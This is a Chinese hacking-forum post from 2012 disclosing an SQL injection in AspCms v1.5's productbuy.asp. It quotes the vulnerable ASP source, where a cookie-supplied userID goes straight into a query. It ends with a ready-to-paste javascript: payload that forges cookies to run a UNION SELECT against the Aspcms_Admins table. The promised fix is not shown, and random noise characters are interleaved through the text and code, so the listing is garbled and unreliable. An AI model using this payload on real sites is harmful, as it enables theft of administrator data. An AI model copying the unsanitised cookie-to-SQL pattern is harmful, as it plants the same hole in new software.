找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2047|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....8 |) X+ ~& \/ u! Z7 f
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
! z0 z0 B! N0 H. F废话不多说,看代码:4 c4 y9 p- K# [' a& X0 C; R
' k) ^, P4 C0 B8 M& a
<%
. p/ z" S: [5 z. I* P1 A  R. {7 {& v* ^# n. [) z
if action = "buy" then3 q& ^( F; |  p4 O( t/ D

8 F3 q! X* o" h' T; U* D        addOrder()
* h- ]9 K) A  ]( P
& I' K' J" D* [2 belse
0 z$ ?& Y- [# |
' D9 Z9 f: n9 s. \. V2 k  x        echoContent()8 v5 U" g7 S7 Y9 p) C. G
+ ~0 M& G0 r6 p$ d6 Q2 k1 y
end if3 B) @) {# C0 B
0 n' u( P  w2 b6 t' W' `0 ^

7 Q% Q! V+ M" e1 c1 m. E( N# p5 b. g8 Z' [) C
……略过7 w- d/ E; |" `4 G0 c

5 y. I' X1 d  \8 `( m1 i) n; h  V2 U3 b  N$ J0 m

# H! n% v7 K% x* N, i' {Sub echoContent()
7 _! V* p& U  Z( }0 Q# i) b* N+ O0 T( e4 n4 L- Y# T
        dim id# m; U/ g" L5 x& F" T

8 x% {. ^8 t1 I        id=getForm("id","get")
: D) T/ s! R8 Y
; W- a* R2 r& L" H$ q        & s+ R& }% D$ K; S
2 C" q) f" @2 L, a" a3 j+ _' p
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" $ S7 J6 p2 _" W4 F0 L6 D. J/ Y( ]

7 K# W$ p0 A: t  k+ t. I        
  \: c% v5 J, M) \6 l
. |" x) h4 Q+ E+ D. W9 {% T! \        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")3 {5 ?% ^/ a6 W
+ a& O% a" l! ?
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct. x4 K" f, U9 t, c( ^' ?

6 i1 Z  ]" I. \" Q4 v! z) F        Dim templatePath,tempStr
0 P" T0 S* l0 L! ~1 S! s7 @) `% N9 P
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"5 I9 L" D( p. @

3 t6 m/ D& y4 ^/ }; R: o
+ X5 _3 C( L$ Z% ?: \' P2 c. B! d; d0 J& D+ B
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1"): Q' V3 p8 L6 j% W2 u- O. I
" Q1 v1 k! U2 r
        selectproduct=rsObj(0)
6 W4 F  E: D7 }8 V! v3 z) F# Q2 M  P' D4 _- Z* `; ]2 _7 N
        
0 v$ z& P: k; L  d' i! f# ~1 s  a* h7 b
        Dim linkman,gender,phone,mobile,email,qq,address,postcode- o( p8 o) Y* Y
* w  b9 n, w& p9 ~
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",05 M3 M( N, T; x

9 z' ~" h, f! ]        if rCookie("loginstatus")=1 then  
: u" @0 f1 t) e4 T7 ~: a7 y) s8 q* ^" O* R
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
7 j- ~/ Q* U  f& l6 [" P# U5 S5 A; w- k
                linkman=rsObj("truename")
- g- Z& _* Y7 f& B& X3 s3 y1 V: y7 W& U" @+ W$ p$ O& V
                gender=rsObj("gender")
  g- U- d: x9 u0 |  _: I: a
, i' Y, G6 m, M. i$ j+ I                phone=rsObj("phone")
- X$ m$ C! u) a- G6 k% e+ z/ Q
# [& H- ^4 E+ D                mobile=rsObj("mobile")
& V; t+ V1 s! ]5 }
+ W" F7 N) F! |' e) a6 T                email=rsObj("email")
2 b6 a" z1 E5 T" _2 n1 y. ]
2 p" E' K2 @, z3 T6 N1 P                qq=rsObj("qq")
. n+ u7 X7 }' c1 a/ {
; b( O/ L8 B3 ?1 \+ f8 e8 g& |                address=rsObj("address")
1 y; J2 N3 w% W# a0 W/ a- ?: G# n9 O; f2 Y( e- W
                postcode=rsObj("postcode")
/ f$ O6 m" U% d( G$ S- f% s; b5 \# V* `) I; K6 x$ }6 v8 P
        else ! C6 q4 d. g9 u: E) D9 y3 b
8 z. _& \1 m+ O9 I' P4 K2 k9 Y
                gender=1
% N+ g" ~- V2 O8 k2 [+ F3 d2 K
9 D5 ^: b* K: e# `# O$ p6 e* P        end if
+ q) b7 b( m. a
0 ~" E2 T  }( z        rsObj.close()5 f* {; Q* V! y. }
/ G2 h# I$ p- r5 x4 f8 a6 T' B5 Z
                ) O+ N& U1 i4 \! x; w9 {2 |

& o' c! |' g  q/ D, C) B        with templateObj
& j% Q# r: l5 j, h* \
4 Y4 v$ Z7 L- L4 B4 h6 w9 V                .content=loadFile(templatePath)        
6 s# H$ i% A+ V( N; P- F' A2 i  f
                .parseHtml()
/ Q3 ?; Y. Y: n" s, |, q5 }! i# r% H3 D% e% B
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)" q, ~. p$ j7 A4 h

* W# m8 O1 I* e2 {' J; W% p# O                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
: }  ?- B! q9 l
6 Y% i3 A3 J6 S2 S8 ]                .content=replaceStr(.content,"[aspcms:gender]",gender)                - N9 f2 z4 E! d7 _) v' _9 Q
$ ~& ?# j% V5 q, o+ ?7 w$ |
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
/ o2 ^: Q: f( M) a, T$ H% |; u
4 I8 J  \# ]( Y                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
* J0 \2 V  z  R, M& d* `1 R0 F' U: J' I8 |9 y
                .content=replaceStr(.content,"[aspcms:email]",email)                        
) Q$ [7 C, N" v' P/ `: Q
- K& c+ ?3 i! e8 H                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
1 i/ P: R+ j* @  g# }5 R  t8 A0 Q/ U
                .content=replaceStr(.content,"[aspcms:address]",address)                        
/ N5 g( |5 `- ^2 K" R% O  S2 ?; c: j( i. h& \
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
9 N2 r# G0 q8 f" T. F
- n$ t2 \# _& F" R6 _; M: |6 q                .parseCommon()                 
/ d& ~# W6 k2 b7 i8 Y' [1 F/ d
) t+ b/ ^1 s, I9 F7 G# v, f                echo .content   V( t5 J# E" q: F! ^& F4 t
! h% x- I" B  p& \% k/ n
        end with
! B$ n6 \8 h2 Z$ h0 @4 L, ]8 @* P! C! |: I* ?: f* s
        set templateobj =nothing : terminateAllObjects
- F$ e1 C# G* Y4 `# Y' W
  K2 [5 g- Q, p/ }- PEnd Sub
9 A# G' {8 g; b漏洞很明显,没啥好说的
" P! ^' ?- f4 Ppoc:- M4 a5 e9 f: U% R$ U4 u: B/ ]

) a3 g9 D" G8 o& K- x! ~javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
8 n" S7 K7 U0 C3 ?3 t( q+ z, J+ _1 I2 Z# D0 A# B: T. {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表